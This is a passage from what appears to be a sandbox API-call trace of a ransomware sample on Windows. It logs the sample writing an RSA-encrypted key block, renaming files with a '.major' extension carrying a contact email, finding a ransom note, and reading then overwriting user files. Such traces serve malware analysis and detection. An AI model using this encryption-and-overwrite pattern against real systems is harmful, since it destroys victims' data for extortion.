hHeap=0x570000) returned 1 [0249.077] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x541a [0249.077] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.077] WriteFile (in: hFile=0x1b04, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.077] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0249.077] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0249.077] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0249.077] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66eb78 [0249.077] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66eb78, pcchString=0x2e3f9a8 | out: pszString="duvidoioebhlkimiHClhM1+fAN5Ul6yggtf2iTBDkkEwoSm2ninrXZy5BlxL0Acn\n/U31YG+OOSE/3h606AJjdKLEs0gUlPRZT3OOzOlO9Iv0A1QZ+TvC5yFxOeXCQkSJ\ngslxcuaucgadOGjMvC03k9W0Iobv1OFYQ3xKA51l3XCZ2eo39swrX8b/4CY7od6g\nJc9dhAzEarVV+qgDraNroJUb0o15sXKq4ltV+OnWAmg3X7rA3Pk2gpQJMLVVF8+P\noZQlx5uwheK0iey/qIxllvc7lSHKI70l5KJLlA/94GInesUfdG3hoxqwyd7oVAn2\n5KiM8JP7X3rnoy3GyNB0VQ==\n", pcchString=0x2e3f9a8) returned 1 [0249.077] WriteFile (in: hFile=0x1b04, lpBuffer=0x66eb78*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66eb78*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0249.077] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.078] WriteFile (in: hFile=0x1b04, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.078] CloseHandle (hObject=0x1b04) returned 1 [0249.078] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66eb78 | out: hHeap=0x570000) returned 1 [0249.078] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.0.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.0.filtertrie.intermediate.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.0.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.0.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0249.080] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0249.080] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6730 | out: hHeap=0x570000) returned 1 [0249.080] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0249.080] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4d88 | out: hHeap=0x570000) returned 1 [0249.080] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x130) returned 0x581478 [0249.080] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5815b0 | out: hHeap=0x570000) returned 1 [0249.080] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5adef0 | out: hHeap=0x570000) returned 1 [0249.080] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0249.080] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1aefe5fb, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x31247c5d, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x4761ef4a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31920 [0249.081] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8280 | out: hHeap=0x570000) returned 1 [0249.081] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0249.081] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b678 [0249.081] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0249.081] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664b70 [0249.081] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b678 | out: hHeap=0x570000) returned 1 [0249.081] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x656378 [0249.081] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664b70 | out: hHeap=0x570000) returned 1 [0249.081] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5aa568 [0249.081] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656378 | out: hHeap=0x570000) returned 1 [0249.082] GetLastError () returned 0x0 [0249.082] SetLastError (dwErrCode=0x0) [0249.082] GetLastError () returned 0x0 [0249.082] SetLastError (dwErrCode=0x0) [0249.082] GetLastError () returned 0x0 [0249.082] SetLastError (dwErrCode=0x0) [0249.082] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0249.082] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be420 [0249.082] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be420 | out: hHeap=0x570000) returned 1 [0249.082] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0249.082] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f31e60 [0249.082] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f31e60 | out: hHeap=0x570000) returned 1 [0249.082] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404b0 [0249.082] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404b0 | out: hHeap=0x570000) returned 1 [0249.082] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0249.082] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0249.082] FindNextFileW (in: hFindFile=0x2f31920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1aefe5fb, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x31247c5d, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x4761ef4a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0249.082] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0249.082] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0249.082] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b568 [0249.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0249.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665598 [0249.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b568 | out: hHeap=0x570000) returned 1 [0249.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x6548e0 [0249.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665598 | out: hHeap=0x570000) returned 1 [0249.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5aa568 [0249.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548e0 | out: hHeap=0x570000) returned 1 [0249.083] GetLastError () returned 0x0 [0249.083] SetLastError (dwErrCode=0x0) [0249.083] GetLastError () returned 0x0 [0249.083] SetLastError (dwErrCode=0x0) [0249.083] GetLastError () returned 0x0 [0249.083] SetLastError (dwErrCode=0x0) [0249.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0249.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be840 [0249.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be840 | out: hHeap=0x570000) returned 1 [0249.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0249.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f31b60 [0249.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f31b60 | out: hHeap=0x570000) returned 1 [0249.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40468 [0249.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40468 | out: hHeap=0x570000) returned 1 [0249.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0249.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0249.083] FindNextFileW (in: hFindFile=0x2f31920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aeeb4d9, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x2aeeb4d9, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x2ee14d1f, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x541a, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0.0.filtertrie.intermediate.txt", cAlternateFileName="00FILT~1.TXT")) returned 1 [0249.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0249.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0249.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0249.084] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0249.084] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6658b8 [0249.084] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0249.084] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x6548e0 [0249.084] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6658b8 | out: hHeap=0x570000) returned 1 [0249.084] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5aa568 [0249.084] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548e0 | out: hHeap=0x570000) returned 1 [0249.084] GetLastError () returned 0x0 [0249.084] SetLastError (dwErrCode=0x0) [0249.084] GetLastError () returned 0x0 [0249.084] SetLastError (dwErrCode=0x0) [0249.084] GetLastError () returned 0x0 [0249.084] SetLastError (dwErrCode=0x0) [0249.084] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0249.084] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0249.084] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x5b4d88 [0249.084] FindNextFileW (in: hFindFile=0x2f31920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ee14d1f, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x2ee14d1f, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x2f3256de, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0.1.filtertrie.intermediate.txt", cAlternateFileName="01FILT~1.TXT")) returned 1 [0249.084] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0249.084] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0249.084] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8aa40 [0249.084] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0249.084] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664850 [0249.084] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aa40 | out: hHeap=0x570000) returned 1 [0249.084] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x655ed8 [0249.084] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664850 | out: hHeap=0x570000) returned 1 [0249.084] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5aa568 [0249.084] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655ed8 | out: hHeap=0x570000) returned 1 [0249.084] GetLastError () returned 0x0 [0249.084] SetLastError (dwErrCode=0x0) [0249.084] GetLastError () returned 0x0 [0249.085] SetLastError (dwErrCode=0x0) [0249.085] GetLastError () returned 0x0 [0249.085] SetLastError (dwErrCode=0x0) [0249.085] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0249.085] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0249.085] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x5a8108 [0249.085] FindNextFileW (in: hFindFile=0x2f31920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f3256de, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x2f3256de, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x2f3256de, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0.2.filtertrie.intermediate.txt", cAlternateFileName="02FILT~1.TXT")) returned 1 [0249.085] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0249.085] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0249.085] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b568 [0249.085] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0249.085] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664788 [0249.085] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b568 | out: hHeap=0x570000) returned 1 [0249.085] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x654a08 [0249.085] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664788 | out: hHeap=0x570000) returned 1 [0249.085] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5a8280 [0249.085] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654a08 | out: hHeap=0x570000) returned 1 [0249.085] GetLastError () returned 0x0 [0249.085] SetLastError (dwErrCode=0x0) [0249.085] GetLastError () returned 0x0 [0249.085] SetLastError (dwErrCode=0x0) [0249.085] GetLastError () returned 0x0 [0249.085] SetLastError (dwErrCode=0x0) [0249.085] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0249.085] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0249.085] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x5aa568 [0249.086] FindNextFileW (in: hFindFile=0x2f31920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31247c5d, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x31247c5d, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x352a25c7, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x710f, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Apps.ft", cAlternateFileName="")) returned 1 [0249.086] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8280 | out: hHeap=0x570000) returned 1 [0249.086] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0249.086] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8aa40 [0249.086] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0249.086] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664d00 [0249.086] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aa40 | out: hHeap=0x570000) returned 1 [0249.086] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x655a38 [0249.086] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664d00 | out: hHeap=0x570000) returned 1 [0249.086] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5a8280 [0249.086] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655a38 | out: hHeap=0x570000) returned 1 [0249.086] GetLastError () returned 0x0 [0249.086] SetLastError (dwErrCode=0x0) [0249.086] GetLastError () returned 0x0 [0249.086] SetLastError (dwErrCode=0x0) [0249.086] GetLastError () returned 0x0 [0249.086] SetLastError (dwErrCode=0x0) [0249.086] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x140) returned 0x2fae078 [0249.086] FindNextFileW (in: hFindFile=0x2f31920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bae9250, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x1bae9250, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x353872e6, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x25cce, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Apps.index", cAlternateFileName="APPS~1.IND")) returned 1 [0249.086] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8280 | out: hHeap=0x570000) returned 1 [0249.086] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0249.086] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0249.086] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0249.086] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664e90 [0249.086] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0249.087] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x654b30 [0249.087] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664e90 | out: hHeap=0x570000) returned 1 [0249.087] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5a8280 [0249.087] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654b30 | out: hHeap=0x570000) returned 1 [0249.087] GetLastError () returned 0x0 [0249.087] SetLastError (dwErrCode=0x0) [0249.087] GetLastError () returned 0x0 [0249.087] SetLastError (dwErrCode=0x0) [0249.087] GetLastError () returned 0x0 [0249.087] SetLastError (dwErrCode=0x0) [0249.087] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0249.087] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0249.087] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x140) returned 0x2fadf30 [0249.087] FindNextFileW (in: hFindFile=0x2f31920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4761ef4a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x4761ef4a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x4761ef4a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0249.087] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8280 | out: hHeap=0x570000) returned 1 [0249.087] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0249.087] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b018 [0249.087] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0249.087] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6646c0 [0249.087] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b018 | out: hHeap=0x570000) returned 1 [0249.087] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x6564a0 [0249.087] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6646c0 | out: hHeap=0x570000) returned 1 [0249.087] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5a8280 [0249.088] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6564a0 | out: hHeap=0x570000) returned 1 [0249.088] GetLastError () returned 0x0 [0249.088] SetLastError (dwErrCode=0x0) [0249.088] GetLastError () returned 0x0 [0249.088] SetLastError (dwErrCode=0x0) [0249.088] GetLastError () returned 0x0 [0249.088] SetLastError (dwErrCode=0x0) [0249.088] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0249.088] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0249.088] FindNextFileW (in: hFindFile=0x2f31920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4761ef4a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x4761ef4a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x4761ef4a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0249.088] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x140) returned 0x2fadca0 [0249.088] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0249.088] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0249.088] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\Apps.index", dwFileAttributes=0x80) returned 1 [0249.089] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x140) returned 0x2fae6e0 [0249.089] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1de) returned 0x66e948 [0249.089] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2fae6e0 | out: hHeap=0x570000) returned 1 [0249.089] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\Apps.index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\apps.index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b08 [0249.090] GetFileSizeEx (in: hFile=0x1b08, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=154830) returned 1 [0249.090] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x25cce) returned 0x33f5018 [0249.090] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x25cce) returned 0x341acf0 [0249.090] ReadFile (in: hFile=0x1b08, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x25cce, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0x25cce, lpOverlapped=0x0) returned 1 [0249.178] SetFilePointer (in: hFile=0x1b08, lDistanceToMove=-154830, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0249.178] WriteFile (in: hFile=0x1b08, lpBuffer=0x341acf0*, nNumberOfBytesToWrite=0x25cce, 